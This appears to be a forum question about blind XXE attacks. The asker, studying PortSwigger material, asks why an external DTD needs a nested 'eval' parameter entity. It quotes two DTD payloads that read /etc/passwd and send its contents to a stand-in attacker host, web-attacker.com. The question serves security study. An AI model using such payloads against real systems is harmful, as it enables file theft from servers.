What's the use of an "extra" dynamic declaration in an external DTD blind XXE attack?

Question

I've been studying XXE attacks through portswigger blog.

I don't understand the extra step of a dynamic declaration (i.e. <!ENTITY % eval...) in the below external DTD:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate; 

Why not simply skip this dynamic declaration and instead write:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>
%exfiltrate; 

Any ideas?